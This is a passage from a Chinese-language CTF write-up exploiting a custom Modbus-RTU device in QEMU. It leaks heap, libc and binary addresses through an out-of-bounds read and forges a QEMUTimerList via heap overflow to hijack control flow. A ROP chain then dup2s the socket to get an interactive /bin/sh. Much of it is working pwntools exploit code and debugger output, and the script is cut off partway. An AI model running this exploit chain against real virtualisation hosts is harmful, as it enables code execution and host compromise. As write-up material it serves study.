  • 受接收缓冲限制:帧长 9 + byte_count ≤ 2602*count ≤ 251 → **count ≤ 125**(否则整帧放不下,被切割无法一次处理)

必须同时满足:

  1. 地址检查(同样 16 位回绕)
count  1((start+count)mod216)  256, \mathbf{count}\ \ge\ 1 \quad\text{且}\quad \bigl((\mathbf{start}+\mathbf{count}) \bmod 2^{16}\bigr)\ \le\ 256,

等价于

 start  [count, 256count]  (mod 216) . \boxed{\ \mathbf{start}\ \in\ \bigl[-\mathbf{count},\ 256-\mathbf{count}\bigr]\ \ (\bmod\ 2^{16})\ }.
  1. 长度一致性检查
byte_count=2count. \boxed{\,\text{byte\_count} = 2\cdot \mathbf{count}\,}.
  1. 请求帧长度受 RX=260 限制try_parse 的判长约束):
9+2count  260  count125. 9 + 2\cdot \mathbf{count} \ \le\ 260 \ \Longrightarrow\ \boxed{\,\mathbf{count} \le 125\,}.

写循环按真实索引:

s->regs[ start + i ]=be16_load(...),i=0..count1. \texttt{s->regs[ start + i ]} = \text{be16\_load(...)} ,\quad i=0.. \mathbf{count}-1.

相对 B字节范围为:

 [2start , 2(start+count)1]  \boxed{\ \bigl[\, 2\cdot\mathbf{start}\ ,\ 2\cdot(\mathbf{start}+\mathbf{count})-1 \,\bigr]\ }

总长度:

2count 字节. \boxed{\,2\cdot\mathbf{count}\ \text{字节}\, }.

start256\mathbf{start}\ge 256start+count1256\mathbf{start}+\mathbf{count}-1 \ge 256 时,该区间越过合法范围,形成对 regs 之后内存的越界写

单帧最大越界写(250 字节)count=125\mathbf{count}=125(受 RX 限制),覆盖

[2start , 2(start+125)1], \bigl[\,2\cdot \mathbf{start}\ ,\ 2\cdot(\mathbf{start}+125)-1\,\bigr],

选择 start\mathbf{start} 于允许集合的高端区间(如 [0xFF83..0xFFFF][0x\mathrm{FF83}..0x\mathrm{FFFF}])即可既过检查又落到 regs 之外。

漏洞利用

泄露地址

通过 0x03 越界读泄露地址:

1
2
3
4
5
6
7
8
leak = fc03_req(0, 0xff81, 127)[4:]
print(hexdump(leak))
libc.address = u64(leak[0x38:0x38 + 8]) - 0x203b60
success("libc base: " + hex(libc.address))
heap_base = u64(leak[0x48:0x48 + 8]) - 0xa4270
success("heap base: " + hex(heap_base))
qemu.address = u64(leak[0xe0:0xe0 + 8]) - 0x9ea35e
success("qemu base: " + hex(qemu.address))
00000000  3a 3a 76 6d  73 74 61 74  65 2d 69 66  00 55 00 00  │::vmstate-if·U··│
00000010  21 00 00 00  00 00 00 00  70 63 69 2d  64 65 76 69  │!·······pci-devi│
00000020  63 65 3a 3a  76 6d 73 74  61 74 65 2d  69 66 00 00  │ce::vmstate-if··│
00000030  31 00 00 00  00 00 00 00  60 3b 80 f7  ff 7f 00 00  │1·······`;··│····│
00000040  60 3b 80 f7  ff 7f 00 00  70 92 57 57  55 55 00 00  │`;··│····p·WWUU··│
00000050  50 91 57 57  55 55 00 00  70 9c 57 57  55 55 00 00  │P·WWUU··p·WWUU··│
00000060  21 00 00 00  00 00 00 00  00 a5 57 57  55 55 00 00  │!·········WWUU··│
00000070  f0 aa 57 57  55 55 00 00  61 62 6c 65  00 00 00 00··WWUU··able····│
00000080  21 00 00 00  00 00 00 00  06 00 00 00  05 00 00 00  │!·······│····│····│
00000090  01 00 00 00  00 00 00 00  01 00 00 00  00 00 00 00········│········│
000000a0  21 00 00 00  00 00 00 00  6f 6e 2f 6f  66 66 00 00  │!·······on/off··│
000000b0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00················│
000000c0  61 00 00 00  00 00 00 00  50 98 57 57  55 55 00 00  │a·······P·WWUU··│
000000d0  70 98 57 57  55 55 00 00  00 00 00 00  00 00 00 00  │p·WWUU··········│
000000e0  5e e3 f3 55  55 55 00 00  ec e3 f3 55  55 55 00 00  │^··UUU··│···UUU··│
000000f0  00 00 00 00  00 00 00 00  b6 f4········│··│
000000fa
[+] libc base: 0x7ffff7600000
[+] heap base: 0x5555574d5000
[+] qemu base: 0x555555554000

调试发现这部分数据可以泄露堆地址libc 基地址程序基地址,多次测试发现这部分数据内容很稳定。

pwndbg> u
 ► 0x555555962f27    movzx  eax, word ptr [rax + rdx*2 + 2]     EAX, [0x555557579724] => 0x6970
   0x555555962f2c    mov    word ptr [rbp - 0x1a], ax
   0x555555962f30    movzx  eax, word ptr [rbp - 0x1a]          EAX, [0x7fffffffd7e6]
   0x555555962f34    shr    ax, 8
   0x555555962f38    mov    ecx, eax
   0x555555962f3a    mov    rax, qword ptr [rbp - 0x18]         RAX, [0x7fffffffd7e8]
   0x555555962f3e    lea    rdx, [rax + 1]
   0x555555962f42    mov    qword ptr [rbp - 0x18], rdx
   0x555555962f46    mov    rdx, qword ptr [rbp - 8]            RDX, [0x7fffffffd7f8]
   0x555555962f4a    add    rax, rdx
   0x555555962f4d    mov    edx, ecx
pwndbg> telescope 0x555557579724+4 32
00:0000│     0x555557579728 ◂— '::vmstate-if'
01:0008│     0x555557579730 ◂— 0x550066692d65 /* 'e-if' */
02:0010│     0x555557579738 ◂— 0x21 /* '!' */
03:0018│     0x555557579740 ◂— 'pci-device::vmstate-if'
04:0020│     0x555557579748 ◂— 'ce::vmstate-if'
05:0028│     0x555557579750 ◂— 0x66692d657461 /* 'ate-if' */
06:0030│     0x555557579758 ◂— 0x31 /* '1' */
07:0038│     0x555557579760 —▸ 0x7ffff7803b60 (main_arena+160) —▸ 0x7ffff7803b50 (main_arena+144) —▸ 0x7ffff7803b40 (main_arena+128) —▸ 0x555557557ad0 ◂— ...
08:0040│     0x555557579768 —▸ 0x7ffff7803b60 (main_arena+160) —▸ 0x7ffff7803b50 (main_arena+144) —▸ 0x7ffff7803b40 (main_arena+128) —▸ 0x555557557ad0 ◂— ...
09:0048│     0x555557579770 —▸ 0x555557579270 —▸ 0x5555575792d0 ◂— 0x657a69736d6f72 /* 'romsize' */
0a:0050│     0x555557579778 —▸ 0x555557579150 —▸ 0x555557579060 ◂— 0x72646461 /* 'addr' */
0b:0058│     0x555557579780 —▸ 0x555557579c70 —▸ 0x555557579cd0 ◂— 'x-pcie-ext-tag'
0c:0060│     0x555557579788 ◂— 0x21 /* '!' */
0d:0068│     0x555557579790 —▸ 0x55555757a500 —▸ 0x55555757a340 —▸ 0x55555757a4c0 ◂— 'pci-piix::resettable'
0e:0070│     0x555557579798 —▸ 0x55555757aaf0 —▸ 0x55555757a870 —▸ 0x55555757a6a0 —▸ 0x55555757a820 ◂— ...
0f:0078│     0x5555575797a0 ◂— 0x656c6261 /* 'able' */
10:0080│     0x5555575797a8 ◂— 0x21 /* '!' */
11:0088│     0x5555575797b0 ◂— 0x500000006
12:0090│     0x5555575797b8 ◂— 1
13:0098│     0x5555575797c0 ◂— 1
14:00a0│     0x5555575797c8 ◂— 0x21 /* '!' */
15:00a8│     0x5555575797d0 ◂— 0x66666f2f6e6f /* 'on/off' */
16:00b0│     0x5555575797d8 ◂— 0
17:00b8│     0x5555575797e0 ◂— 0
18:00c0│     0x5555575797e8 ◂— 0x61 /* 'a' */
19:00c8│     0x5555575797f0 —▸ 0x555557579850 ◂— 'failover_pair_id'
1a:00d0│     0x5555575797f8 —▸ 0x555557579870 ◂— 0x727473 /* 'str' */
1b:00d8│     0x555557579800 ◂— 0
1c:00e0│     0x555557579808 —▸ 0x555555f3e35e ◂— endbr64 
1d:00e8│     0x555557579810 —▸ 0x555555f3e3ec ◂— endbr64 
1e:00f0│     0x555557579818 ◂— 0
1f:00f8│     0x555557579820 —▸ 0x555555f3f4b6 ◂— endbr64 

劫持程序执行流

0x03 功能在越界读的同时由于存在整数溢出导致 g_malloc 分配的 out_buf 存在堆溢出。

调试发现在申请堆块的时候,tcache 中 0x20 大小的空闲堆块后面紧邻的数据如下:

pwndbg> u 1
 ► 0x555555962eb1    call   g_malloc@plt                <g_malloc@plt>
        rdi: 5
        rsi: 0x555557559a22 ◂— 0x4774800080ff0300
        rdx: 0xff80
        rcx: 0x74
   0x555555962eb6    mov    qword ptr [rbp - 8], rax
   0x555555962eba    mov    qword ptr [rbp - 0x18], 0
pwndbg> bins
tcachebins
0x20 [  2]: 0x555557557e90 —▸ 0x5555577ae010 ◂— 0
0x30 [  6]: 0x5555577adf80 —▸ 0x555557559700 —▸ 0x5555577ae100 —▸ 0x5555577abbd0 —▸ 0x55555779ffc0 —▸ 0x5555577ab830 ◂— 0
0x60 [  1]: 0x5555577aa8c0 ◂— 0
0x80 [  2]: 0x5555577acf60 —▸ 0x5555577ab660 ◂— 0
0x90 [  7]: 0x5555576a60d0 —▸ 0x55555755c980 —▸ 0x55555755c8f0 —▸ 0x5555574dabb0 —▸ 0x5555574da640 —▸ 0x5555574da5b0 —▸ 0x5555574da0e0 ◂— 0
0xe0 [  4]: 0x5555577abc40 —▸ 0x5555577ab860 —▸ 0x5555577ab530 —▸ 0x5555577ab450 ◂— 0
0xf0 [  2]: 0x5555577aad10 —▸ 0x5555577aabb0 ◂— 0
0x100 [  7]: 0x555557558c30 —▸ 0x555557558b30 —▸ 0x555557557700 —▸ 0x555557557600 —▸ 0x555557557500 —▸ 0x555557557400 —▸ 0x5555577ab940 ◂— 0
0x110 [  7]: 0x55555755d230 —▸ 0x55555755d120 —▸ 0x5555574f48d0 —▸ 0x5555574f2dc0 —▸ 0x5555574f2cb0 —▸ 0x5555574db320 —▸ 0x5555574db210 ◂— 0
0x1e0 [  1]: 0x5555574d52a0 ◂— 0
0x210 [  6]: 0x55555755fea0 —▸ 0x55555755e390 —▸ 0x55555755e180 —▸ 0x5555574f8280 —▸ 0x5555574f4bf0 —▸ 0x5555574f49e0 ◂— 0
0x410 [  5]: 0x5555575600b0 —▸ 0x5555574ff7e0 —▸ 0x5555574f88a0 —▸ 0x5555574f8490 —▸ 0x5555574d5500 ◂— 0
fastbins
empty
unsortedbin
all: 0x5555577ad560 —▸ 0x7ffff7803b20 (main_arena+96) ◂— 0x5555577ad560
smallbins
0x20: 0x555557557ad0 —▸ 0x555557557950 —▸ 0x5555577a12b0 —▸ 0x7ffff7803b30 (main_arena+112) ◂— 0x555557557ad0
0x60: 0x555557559690 —▸ 0x5555577ad130 —▸ 0x7ffff7803b70 (main_arena+176) ◂— 0x555557559690
largebins
0x1000-0x11f0: 0x5555577abd10 —▸ 0x7ffff7804140 (main_arena+1664) ◂— 0x5555577abd10
pwndbg> telescope 0x555557557e90+0x10 20
00:0000│     0x555557557ea0 ◂— 0x80
01:0008│     0x555557557ea8 ◂— 0x81
02:0010│     0x555557557eb0 —▸ 0x5555574d40a0 —▸ 0x555557558380 ◂— 0x5555574d40a0
03:0018│     0x555557557eb8 ◂— 0
... ↓     5 skipped
09:0048│     0x555557557ee8 ◂— 0x100000000
0a:0050│     0x555557557ef0 ◂— 0
0b:0058│     0x555557557ef8 ◂— 0
0c:0060│     0x555557557f00 —▸ 0x5555575583c8 —▸ 0x555557557eb0 —▸ 0x5555574d40a0 —▸ 0x555557558380 ◂— ...
0d:0068│     0x555557557f08 —▸ 0x555555c13703 ◂— endbr64 
0e:0070│     0x555557557f10 ◂— 0
0f:0078│     0x555557557f18 ◂— 0x100000000
10:0080│     0x555557557f20 ◂— 0
11:0088│     0x555557557f28 ◂— 0x81
12:0090│     0x555557557f30 —▸ 0x5555574d40b0 —▸ 0x555557558400 ◂— 0x5555574d40b0
13:0098│     0x555557557f38 ◂— 0

在 IDA 中通过 timer_init_full 函数可以定位到 main_loop_tlg 的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __fastcall timer_init_full(
QEMUTimer *ts,
QEMUTimerListGroup *timer_list_group,
QEMUClockType type,
int scale,
int attributes,
QEMUTimerCB *cb,
void *opaque)
{
QEMUTimerListGroup *timer_list_groupa; // [rsp+18h] [rbp-10h]

timer_list_groupa = timer_list_group;
if ( !timer_list_group )
timer_list_groupa = &main_loop_tlg;
ts->timer_list = timer_list_groupa->tl[type];
ts->cb = cb;
ts->opaque = opaque;
ts->scale = scale;
ts->attributes = attributes;
ts->expire_time = -1;
}

main_loop_tlg 类型为 QEMUTimerListGroup,实际上是一个 QEMUTimerList 指针数组:

1
2
3
struct QEMUTimerListGroup {
QEMUTimerList *tl[4];
}

调试发现其中第一项 QEMUTimerList 指针指向的位置与前面紧邻的 tcachebin 中 0x20 大小的空闲堆块紧邻:

pwndbg> telescope $rebase(0x1F80080)
00:0000│     0x5555574d4080 —▸ 0x555557557eb0 —▸ 0x5555574d40a0 —▸ 0x555557558380 ◂— 0x5555574d40a0
01:0008│     0x5555574d4088 —▸ 0x555557557f30 —▸ 0x5555574d40b0 —▸ 0x555557558400 ◂— 0x5555574d40b0
02:0010│     0x5555574d4090 —▸ 0x555557557fb0 —▸ 0x5555574d40c0 —▸ 0x555557558480 ◂— 0x5555574d40c0
03:0018│     0x5555574d4098 —▸ 0x555557558030 —▸ 0x5555574d40d0 —▸ 0x555557558500 ◂— 0x5555574d40d0

因此我们可以尝试溢出覆盖 QEMUTimerList 结构从而劫持程序执行流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
payload_addr = heap_base + 0x82eb0
payload = b""

payload += flat({
0: p64(0xdeaddead), # QEMUClock
0x8: flat({ # QemuMutex
0x0: flat( # lock
p32(0), # __lock
p32(0), # __count
p32(0), # __owner
p32(0), # __nusers
p32(0), # __kind = PTHREAD_MUTEX_TIMED_NP (0)
p16(0), # __spins
p16(0), # __elision
p64(0), # __list.__prev
p64(0) # __list.__next
),
0x34: p8(1) # initialized
}),
0x40: p64(0xbeefbeef) # active_timers
})
payload = payload.replace(p64(0xbeefbeef), p64(payload_addr + len(payload)))

payload += flat({ # QEMUTimer
0x0: p64(0), # expire_time
0x10: p64(0xdeadbeef), # cb
0x18: b'a' * 8 # attributes
})
payload = payload.replace(p64(0xdeaddead), p64(payload_addr + len(payload)))

payload += flat({ # QEMUClock
0x8: p32(0), # type
0xc: p8(1), # enabled
})

payload = flat(
{23: payload},
filler=cyclic(250, n=8),
length=250
)

print(hexdump(payload))

fc10_req(0, (0x10000 - 250 // 2), payload) # [0xff83*2,(0xff83+250/2)*2-1]=[0x1ff06,0x1ffff]
fc03_req(0, 0x10000 - 0x80, 0x80)
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────
*RAX  0x6161616161616161 ('aaaaaaaa')
 RBX  0x7fffffffec98 —▸ 0x7fffffffee94 ◂— '/home/ctf/qemu-system-x86_64'
 RCX  0
*RDX  0xdeadbeef
*RDI  0x6161616161616161 ('aaaaaaaa')
 RSI  0
*R8   0x13bf9aa800000
*R9   0
*R10  0x7ffff7fbf080
*R11  0x23430a
 R12  9
 R13  0
 R14  0x5555565b3838 —▸ 0x55555588a750 ◂— endbr64 
 R15  0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
*RBP  0x7fffffffea60 —▸ 0x7fffffffea80 —▸ 0x7fffffffeaa0 —▸ 0x7fffffffeaf0 —▸ 0x7fffffffeb10 ◂— ...
*RSP  0x7fffffffea08 —▸ 0x5555561820fd ◂— mov rax, qword ptr [rip + 0x132862c]
*RIP  0xdeadbeef
─────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────
Invalid address 0xdeadbeef











───────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffea08 —▸ 0x5555561820fd ◂— mov rax, qword ptr [rip + 0x132862c]
01:0008│-050 0x7fffffffea10 ◂— 9 /* '\t' */
02:0010│-048 0x7fffffffea18 —▸ 0x555557557eb0 —▸ 0x555557557f18 ◂— 0
03:0018│-040 0x7fffffffea20 —▸ 0x5555565b3838 —▸ 0x55555588a750 ◂— endbr64 
04:0020│-038 0x7fffffffea28 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
05:0028│-030 0x7fffffffea30 —▸ 0x555557557ef8 ◂— 0x000000000000ffff
06:0030│-028 0x7fffffffea38 ◂— 0x178a21f0af24
07:0038│-020 0x7fffffffea40 ◂— 0xdeadbeef
─────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────
 ► 0       0xdeadbeef None
   1   0x5555561820fd None
   2   0x5555561821b3 None
   3   0x55555618253f None
   4   0x55555617c9c8 None
   5   0x555555c4286e None
   6   0x555556088bf3 None
   7   0x555556088cb1 None
─────────────────────────────────────────────────────[ THREADS (2 TOTAL) ]─────────────────────────────────────────────────────
  ► 1   "qemu-system-x86" stopped: 0xdeadbeef
    2   "qemu-system-x86" stopped: 0x7ffff772728d <syscall+29> 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

劫持程序执行流程的函数是 timerlist_run_timers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
bool __cdecl timerlist_run_timers(QEMUTimerList *timer_list)
{
QEMUClockType type; // eax
bool progress; // [rsp+1Fh] [rbp-31h]
QEMUTimer *ts; // [rsp+20h] [rbp-30h]
int64_t current_time; // [rsp+28h] [rbp-28h]
QEMUTimerCB *cb; // [rsp+30h] [rbp-20h]
void *opaque; // [rsp+38h] [rbp-18h]

progress = 0;
if ( !timer_list->active_timers )
return 0;
qemu_event_reset(&timer_list->timers_done_ev);
if ( timer_list->clock->enabled )
{
type = timer_list->clock->type;
if ( type != QEMU_CLOCK_VIRTUAL_RT )
{
if ( type == QEMU_CLOCK_HOST && !replay_checkpoint(ReplayCheckpoint::CHECKPOINT_CLOCK_HOST) )
goto out;
LABEL_9:
current_time = qemu_clock_get_ns(timer_list->clock->type);
qemu_mutex_lock_func(&timer_list->active_timers_lock, "../util/qemu-timer.c", 534);
while ( 1 )
{
ts = timer_list->active_timers;
if ( !ts || !timer_expired_ns(ts, current_time) )
break;
if ( replay_mode
&& timer_list->clock->type == QEMU_CLOCK_VIRTUAL
&& (ts->attributes & 1) == 0
&& !replay_checkpoint(ReplayCheckpoint::CHECKPOINT_CLOCK_VIRTUAL) )
{
qemu_mutex_unlock_impl(&timer_list->active_timers_lock, "../util/qemu-timer.c", 550);
goto out;
}
timer_list->active_timers = ts->next;
ts->next = 0;
ts->expire_time = -1;
cb = ts->cb;
opaque = ts->opaque;
qemu_mutex_unlock_impl(&timer_list->active_timers_lock, "../util/qemu-timer.c", 562);
cb(opaque); // 👈 劫持程序执行流程
qemu_mutex_lock_func(&timer_list->active_timers_lock, "../util/qemu-timer.c", 564);
progress = 1;
}
qemu_mutex_unlock_impl(&timer_list->active_timers_lock, "../util/qemu-timer.c", 568);
goto out;
}
if ( replay_checkpoint(ReplayCheckpoint::CHECKPOINT_CLOCK_VIRTUAL_RT) )
goto LABEL_9;
}
out:
qemu_event_set(&timer_list->timers_done_ev);
return progress;
}

在伪造 QEMUTimerList 的时候需要特别注意以下两点:

  • qemu_mutex_lock_func 函数实际会调用到 qemu_mutex_lock_impl 函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    void __cdecl qemu_mutex_lock_impl(QemuMutex *mutex, const char *file, const int line)
    {
    int err; // [rsp+2Ch] [rbp-4h]

    if ( !mutex->initialized )
    __assert_fail("mutex->initialized", "../util/qemu-thread-posix.c", 0x5Cu, "qemu_mutex_lock_impl");
    qemu_mutex_pre_lock(mutex, file, line);
    err = pthread_mutex_lock(&mutex->lock);
    if ( err )
    error_exit(err, "qemu_mutex_lock_impl");
    qemu_mutex_post_lock(mutex, file, line);
    }
    • timer_list->active_timers_lock.initialized 非 0。
    • timer_list->active_timers_lock.lock 共 0x28 字节的数据需要全 0,否则 pthread_mutex_lock 返回的 err 非 0.
  • timer_expired_nsexpire_time 需要设置为 0:

    1
    2
    3
    4
    bool __cdecl timer_expired_ns(QEMUTimer *timer_head, int64_t current_time)
    {
    return timer_head && current_time >= timer_head->expire_time;
    }

    否则会提前跳出循环。

    1
    2
    3
    4
    5
    6
    7
    8
    bool __cdecl timer_expired_ns(QEMUTimer *timer_head, int64_t current_time)
    {
    return timer_head && current_time >= timer_head->expire_time;
    }

    ts = timer_list->active_timers;
    if ( !ts || !timer_expired_ns(ts, current_time) )
    break;

任意代码执行

在劫持程序执行流的时候,raxrdi 寄存器是可控的,我们可以使用下面这个 gadget 将栈迁移到我们可控的内存上,然后执行 ROP:

0x555555c5dc51                            push   rax
   0x555555c5dc52                            add    byte ptr [rax - 0x75], cl     [0x555557557eab] <= 0x61 (0x61 + 0x0)
   0x555555c5dc55                            pop    rbp                           RBP => 0x555557557f20
   0x555555c5dc56                            clc    
   0x555555c5dc57                            leave  
   0x555555c5dc58                            xor    eax, eax                      EAX => 0
   0x555555c5dc5a                            xor    edx, edx                      EDX => 0
   0x555555c5dc5c                            xor    ecx, ecx                      ECX => 0
   0x555555c5dc5e                            xor    esi, esi                      ESI => 0
   0x555555c5dc60                            xor    edi, edi                      EDI => 0
   0x555555c5dc62                            ret                                <__spawnix+875>
    ↓
   0x7ffff770f78b <__spawnix+875>            pop    rdi          RDI => 0xa
   0x7ffff770f78c <__spawnix+876>            ret                                <eval_expr_multdiv+157>

至于如何回显数据,TCP 服务器“监听”和“已建立连接”用的是两套不同的 socket

  • 监听阶段:进程先 socket()bind()listen(),得到一个监听 FD(只用于排队新连接,不传数据)。
  • 建连后:当有客户端进来,内核在监听 socket 的基础上克隆出一个全新的连接 socket放到 accept 队列,进程 accept() 得到新的 FD(用于和这个客户端收发数据)。监听 FD 仍然保留,用来继续接其它连接。

在这道题目中:

ctf@7646de6860b3:~$ ps -aux|grep qemu
ctf        170  0.0  1.5 509920 24296 pts/0    Sl   10:49   0:00 ./qemu-system-x86_64 -machine none -nographic -nodefaults -chardev socket,id=mbus,host=0.0.0.0,port=1502,server=on,wait=off -device modbus-rtu,chardev=mbus,unit-id=1
ctf        175  0.0  0.1   3528  1724 pts/3    S+   10:49   0:00 grep --color=auto qemu
ctf@7646de6860b3:~$ ls -al /proc/170/fd
total 0
dr-x------ 2 ctf ctf 11 Oct 30 10:49 .
dr-xr-xr-x 9 ctf ctf  0 Oct 30 10:49 ..
lrwx------ 1 ctf ctf 64 Oct 30 10:49 0 -> /dev/pts/0
lrwx------ 1 ctf ctf 64 Oct 30 10:49 1 -> /dev/pts/0
lrwx------ 1 ctf ctf 64 Oct 30 10:49 10 -> 'socket:[274261]'
lrwx------ 1 ctf ctf 64 Oct 30 10:49 2 -> /dev/pts/0
lrwx------ 1 ctf ctf 64 Oct 30 10:49 3 -> 'anon_inode:[eventpoll]'
lrwx------ 1 ctf ctf 64 Oct 30 10:49 4 -> 'anon_inode:[eventfd]'
lrwx------ 1 ctf ctf 64 Oct 30 10:49 5 -> 'anon_inode:[signalfd]'
lrwx------ 1 ctf ctf 64 Oct 30 10:49 6 -> 'anon_inode:[eventpoll]'
lrwx------ 1 ctf ctf 64 Oct 30 10:49 7 -> 'anon_inode:[eventfd]'
lrwx------ 1 ctf ctf 64 Oct 30 10:49 8 -> 'anon_inode:[eventfd]'
lrwx------ 1 ctf ctf 64 Oct 30 10:49 9 -> 'socket:[276587]'

QEMU 进程的两个 socket 进程描述符分别是:

  • /proc/170/fd/9 -> socket:[276587]:监听 0.0.0.0:1502 的 listening socket
  • /proc/170/fd/10 -> socket:[274261]:某个客户端连上后 accept() 返回的 已连接 socket

因此我们只需要通过 dup2 将 stdin 与 stdout 和 10 绑定即可确保 system("/bin/sh") 交互。

dup2(oldfd, newfd) 就是把 oldfd 这个打开好的文件/套接字复制成编号为 newfd 的描述符。如果 newfd 原来已经在用,内核会先把它关掉,再让它指向和 oldfd 同一个内核对象(同一个 “open file description”)。成功后返回值是 newfd

执行 dup2(10, 0); dup2(10, 1); dup2(10, 2); 等价于把标准输入/输出/错误(0/1/2)接到这个 socket 上

于是后续 system("/bin/sh") 启动的 sh 会从 FD 0 读、往 FD 1/2 写——也就是通过这条网络连接进行交互,你的远端就能直接操作 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
fd_guess = 10
rop = b""
rop += p64(next(libc.search(asm('pop rdi; ret;'))))
rop += p64(fd_guess)
rop += p64(next(libc.search(asm('pop rsi; ret;'))))
rop += p64(0)
rop += p64(libc.sym['dup2'])
rop += p64(next(libc.search(asm('pop rdi; ret;'))))
rop += p64(fd_guess)
rop += p64(next(libc.search(asm('pop rsi; ret;'))))
rop += p64(1)
rop += p64(libc.sym['dup2'])
# rop += p64(next(libc.search(asm('pop rdi; ret;'))))
# rop += p64(fd_guess)
# rop += p64(next(libc.search(asm('pop rsi; ret;'))))
# rop += p64(2)
# rop += p64(libc.sym['dup2'])
rop += p64(next(libc.search(asm('pop rdi; ret;'))))
rop += p64(next(libc.search(b'/bin/sh\x00')))
rop += p64(libc.address + 0x582d2) # p64(libc.sym['do_system'] + 2)
# rop += p64(libc.sym['system'])

完整 Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
from pwn import *
import struct

context.log_level = 'info'
context.arch = 'amd64'

# gdb.attach(target=("localhost", 2345), exe="./qemu-system-x86_64",
# gdbscript="b *$rebase(0x0000000000709c51)\nc")
# pause()

io = remote('127.0.0.1', 1502)


def crc16_modbus(b):
crc = 0xFFFF
for x in b:
crc ^= x
for _ in range(8):
crc = (crc >> 1) ^ 0xA001 if (crc & 1) else (crc >> 1)
return crc & 0xFFFF


def fc03_req(addr, start, count):
frm = bytearray([addr & 0xFF, 0x03])
frm += struct.pack('>H', start & 0xFFFF)
frm += struct.pack('>H', count & 0xFFFF)
frm += struct.pack('<H', crc16_modbus(frm))
io.send(frm)
h = io.recvn(3)
if h[1] & 0x80:
ex = io.recvn(2)
raise RuntimeError(f"exception frame: {h.hex()} {ex.hex()}")
assert h[1] == 0x03
bc = h[2]
body = io.recvn(bc + 2)
data, crc = body[:-2], body[-2:]
if crc16_modbus(h + data) != int.from_bytes(crc, 'little'):
log.warning("CRC mismatch")
# 大端 16-bit → 原始内存小端字节
mem = b""
for i in range(0, len(data), 2):
if i + 1 < len(data):
mem += data[i + 1:i + 2] + data[i:i + 1]
return mem


def fc10_req(addr, start, data: bytes):
# 若为奇数长度,自动补 0x00,保证能整 16 位写入
if len(data) % 2 != 0:
log.info("fc10_write: data 为奇数长度,自动在末尾填充 0x00")
data = data + b"\x00"

count = len(data) // 2
# 单帧上限:need = 9 + 2*count <= 260 → count <= 125
if count > 125:
raise ValueError(f"data 过长:count={count} 超出单帧上限 125(受 260 字节 RX 缓冲限制)。请分帧调用。")

# 组帧:addr, 0x10, start(2BE), count(2BE), byte_count(1), data(2*count,BE), crc(2LE)
frm = bytearray([addr & 0xFF, 0x10])
frm += struct.pack('>H', start & 0xFFFF)
frm += struct.pack('>H', count & 0xFFFF)
frm.append((2 * count) & 0xFF)

# data 是“目标内存小端”的真实字节序。
# Modbus 寄存器传输为大端:把 (lo,hi) → pack(">H", lo | (hi<<8))
for i in range(0, len(data), 2):
lo = data[i]
hi = data[i + 1]
hi, lo = lo, hi
frm += struct.pack('>H', (lo | (hi << 8)) & 0xFFFF)

frm += struct.pack('<H', crc16_modbus(frm))

# 发包
io.send(frm)

# 收应答:正常为 8 字节(addr func start count crc)
h = io.recvn(2) # addr, func
if h[1] & 0x80:
ex = io.recvn(3) # ex_code, crc_lo, crc_hi
if crc16_modbus(h + ex[:1]) != int.from_bytes(ex[1:], 'little'):
log.warning("FC10 异常帧 CRC 不匹配")
raise RuntimeError(f"FC10 exception: code=0x{ex[0]:02x}")

body = io.recvn(6) # start(2), count(2), crc(2)
if crc16_modbus(h + body[:-2]) != int.from_bytes(body[-2:], 'little'):
log.warning("FC10 响应 CRC 不匹配")

start_echo = struct.unpack('>H', body[0:2])[0]
count_echo = struct.unpack('>H', body[2:4])[0]
return start_echo, count_echo


libc = ELF("./libc.so.6")
qemu = ELF("./qemu-system-x86_64")

leak = fc03_req(0, (0x10000 - 127), 127)[4:] # [0xff81*2,(0xff81+127)*2-1]=[0x1ff02,0x1ffff]
print(hexdump(leak))
libc.address = u64(leak[0x38:0x38 + 8]) - 0x203b60
success("libc base: " + hex(libc.address))
heap_base = u64(leak[0x48:0x48 + 8]) - 0xa4270
success("heap base: " + hex(heap_base))
qemu.address = u64(leak[0xe0:0xe0 + 8]) - 0x9ea35e
success("qemu base: " + hex(qemu.address))

payload_addr = heap_base + 0x82eb0
payload = b""

payload += flat({
0: p64(0xdeaddead), # QEMUClock
0x8: flat({ # QemuMutex
0x0: flat( # lock
p32(0), # __lock
p32(0), # __count
p32(0), # __owner
p32(0), # __nusers
p32(0), # __kind = PTHREAD_MUTEX_TIMED_NP (0)
p16(0), # __spins
p16(0), # __elision
p64(0), # __list.__prev
p64(0) # __list.__next
),
0x34: p8(1) # initialized
}),
